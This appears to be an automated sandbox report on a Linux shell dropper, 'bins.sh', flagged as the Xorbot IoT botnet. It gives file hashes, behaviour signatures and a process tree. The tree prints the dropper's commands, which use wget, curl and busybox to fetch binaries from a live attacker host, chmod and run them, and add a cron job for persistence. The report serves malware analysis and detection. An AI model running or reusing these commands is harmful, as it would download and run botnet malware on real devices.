Analysis
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max time kernel
150s -
max time network
156s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
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submitted
10/12/2024, 11:00
General
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Target
bins.sh
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Size
10KB
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MD5
2cb62c12f7b74b008f2d2fe409ccfe5d
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SHA1
06bdad09642ff840259f813a0fd9fc348a58b76d
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SHA256
9a1fe6336b9891af1c5f6e09f6de24ac6aaf11c273b36380e10a8b41ca8bc349
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SHA512
b11226d6f0d4244e5e88379ed0e86a4dcadfeae59d3d59be80eb52e4f503e4167a497c1f063993bc932876323aa05770dcb52fc561896b47c7e599297f145277
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SSDEEP
96:YDUdDUdDUAU7UHUQO+P99Eo1VELttJLr7rXroXB5jFDfipBrLFlqUyKSLBGB2BfA:PfhyU6t8ckH
Malware Config
Signatures
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Detects Xorbot 2 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (1801) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 3 IoCs
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Renames itself 1 IoCs
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 11 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/Cp43IruSDxr1bWfflurg56uAZjiJIxyb7q2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Cp43IruSDxr1bWfflurg56uAZjiJIxyb7q2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Cp43IruSDxr1bWfflurg56uAZjiJIxyb7q2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 Cp43IruSDxr1bWfflurg56uAZjiJIxyb7q2⤵
- File and Directory Permissions Modification
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/tmp/Cp43IruSDxr1bWfflurg56uAZjiJIxyb7q./Cp43IruSDxr1bWfflurg56uAZjiJIxyb7q2⤵
- Executes dropped EXE
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/bin/rmrm Cp43IruSDxr1bWfflurg56uAZjiJIxyb7q2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/SRqwwztMb4ZN2ietZ14ud58aWDFM93L5KR2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/SRqwwztMb4ZN2ietZ14ud58aWDFM93L5KR2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/SRqwwztMb4ZN2ietZ14ud58aWDFM93L5KR2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 SRqwwztMb4ZN2ietZ14ud58aWDFM93L5KR2⤵
- File and Directory Permissions Modification
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/tmp/SRqwwztMb4ZN2ietZ14ud58aWDFM93L5KR./SRqwwztMb4ZN2ietZ14ud58aWDFM93L5KR2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
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/bin/rmrm SRqwwztMb4ZN2ietZ14ud58aWDFM93L5KR2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/vy6XyuYBghSMcINWUqtzCmj2lYlFMiZ2bu2⤵
- System Network Configuration Discovery
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/vy6XyuYBghSMcINWUqtzCmj2lYlFMiZ2bu2⤵
- System Network Configuration Discovery
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/vy6XyuYBghSMcINWUqtzCmj2lYlFMiZ2bu2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 vy6XyuYBghSMcINWUqtzCmj2lYlFMiZ2bu2⤵
- File and Directory Permissions Modification
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/tmp/vy6XyuYBghSMcINWUqtzCmj2lYlFMiZ2bu./vy6XyuYBghSMcINWUqtzCmj2lYlFMiZ2bu2⤵
- Executes dropped EXE
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/bin/rmrm vy6XyuYBghSMcINWUqtzCmj2lYlFMiZ2bu2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/PaBs9eIwf7I4MoQqPjF2YNVi2hnsYDGrSp2⤵
- System Network Configuration Discovery
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/PaBs9eIwf7I4MoQqPjF2YNVi2hnsYDGrSp2⤵
- System Network Configuration Discovery
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD56ca00646d2fb76a681528820eec5bfd8
SHA122a2bc03325d4f8561b5dfd2c3d6b9cd28257cc6
SHA2564b8fcd465359ab2dce7fe6acf8d4ec7e921350e0523b73c3344c97bff92a7711
SHA512c926e612bbdd0fce40389ca3a2445cced78454ced2921a7a05c44e70e5def4d2bde362bc8697863812cfab223021c2a3a35915fb820250a9ad5e089aa855a3da